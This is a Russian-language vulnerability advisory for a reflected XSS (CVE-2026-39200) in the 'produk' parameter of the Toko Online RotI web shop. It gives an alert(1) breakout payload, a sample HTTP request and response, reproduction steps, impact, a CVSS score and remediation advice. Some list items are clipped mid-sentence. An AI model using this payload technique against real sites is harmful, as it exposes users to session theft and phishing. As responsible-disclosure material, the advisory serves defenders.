
Значение параметра запроса produk копируется в значение атрибута HTML-тега, который заключён в двойные кавычки. Полезная нагрузка xbnw0"><script>alert(1)</script>skc2h была отправлена в параметре produk. Этот ввод был отражён в ответе приложения как xbnw0\"><script>alert(1)</script>skc2h.
В параметре запроса produk веб-приложения Toko Online RotI выявлена уязвимость отражённого межсайтового скриптинга (Reflected Cross-Site Scripting, XSS). Приложение не выполняет HTML-кодирование данных, введённых пользователем, перед тем как отразить их внутри атрибута HTML-тега, заключённого в двойные кавычки. Злоумышленник может сформировать вредоносный URL, при переходе по которому жертва выполняет произвольный JavaScript-код в контексте сессии своего браузера.
| Поле | Значение |
|---|---|
| Идентификатор CVE | CVE-2026-39200 |
| Тип уязвимости | CWE-79 — Некорректная нейтрализация входных данных при генерации веб-страницы (отражённая XSS) |
| Затронутый продукт | Toko Online RotI (индонезийский интернет-магазин) |
| Затронутый параметр | produk |
| Обнаружил | Uzair Ali (r00tali) — специалист по пентестам / охотник за багами |
| Дата обнаружения | 2026-07-03 |
| Присвоение CVE | 2026-07-12 |
| Дата публикации отчёта | 2026-07-19 |
Параметр запроса produk дословно копируется в значение атрибута HTML-тега, заключённого в двойные кавычки. Поскольку приложение не выполняет HTML-кодирование введённых пользователем данных перед их отражением, злоумышленник может выйти за пределы атрибута, отправив полезную нагрузку, содержащую закрывающую двойную кавычку с последующей HTML/JavaScript-нагрузкой.
xbnw0"><script>alert(1)</script>skc2h
Когда эта полезная нагрузка передаётся в параметре produk, приложение возвращает введённые данные в ответ без экранирования. Закрывающая последовательность "> завершает исходный атрибут, а внедрённый блок <script>alert(1)</script> интерпретируется браузером как новый HTML-элемент, что приводит к выполнению произвольного JavaScript-кода в сессии пользователя.
Уязвимый HTML-ответ выглядит следующим образом:
<!-- BEFORE injection -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- AFTER injection with payload xbnw0"><script>alert(1)</script>skc2h -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
Browser executes this
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk внутри HTML-атрибута (например, страницу поиска, просмотра или фильтрации товаров).produk на следующую полезную нагрузку:
xbnw0"><script>alert(1)</script>skc2h
" и создавая в DOM корректный элемент <script>.alert(1), что подтверждает выполнение произвольного JavaScript-кода в сессии жертвы.Успешная эксплуатация этой отражённой XSS-уязвимости позволяет злоумышленнику:
Поскольку уязвимость является отражённой, для эксплуатации достаточно лишь одного клика жертвы по специально сформированной ссылке, что делает её тривиально применимой в фишинговых кампаниях.
CVSS v3.1 (оценочно): 6.1 (средний) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Для устранения этой уязвимости поставщику следует:
<, >, ", ' и & (например, <, >, ", ', &).htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) или синтаксис <%: %>{{ input }} (автоматическое экранирование по умолчанию)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly и Secure для всех сессионных cookie, чтобы JavaScript не мог их прочитать.produk по белому списку (allow-list) допустимых идентификаторов товаров (числовые ID, слаги и т. п.) и отклонять всё, что не соответствует.X-Content-Type-Options: nosniff, чтобы предотвратить сниффинг MIME-типа тел ответов.| Дата | Событие |
|---|---|
| 2026-07-03 | Уязвимость обнаружена в ходе авторизованного тестирования безопасности |
| 2026-07-03 | Запрошен идентификатор CVE в MITRE через cveform.mitre.org |
| 2026-07-12 | Идентификатор CVE-2026-39200 присвоен командой MITRE Assignment Team |
| 2026-07-19 | Опубликован публичный отчёт (advisory) |
** Uzair Ali (r00tali)** — специалист по пентестам / охотник за багами / исследователь безопасности
Данный отчёт публикуется исключительно в образовательных и защитных целях. Уязвимость была сообщена в рамках процесса ответственного раскрытия уязвимостей (responsible disclosure) через команду MITRE CVE Assignment Team. Никакая конфиденциальная информация о поставщике, данные клиентов или проприетарный код не раскрываются. Proof-of-concept использует безвредный payload alert(1) и предназначен для демонстрации существования ошибки, а не для организации атак на действующий сервис.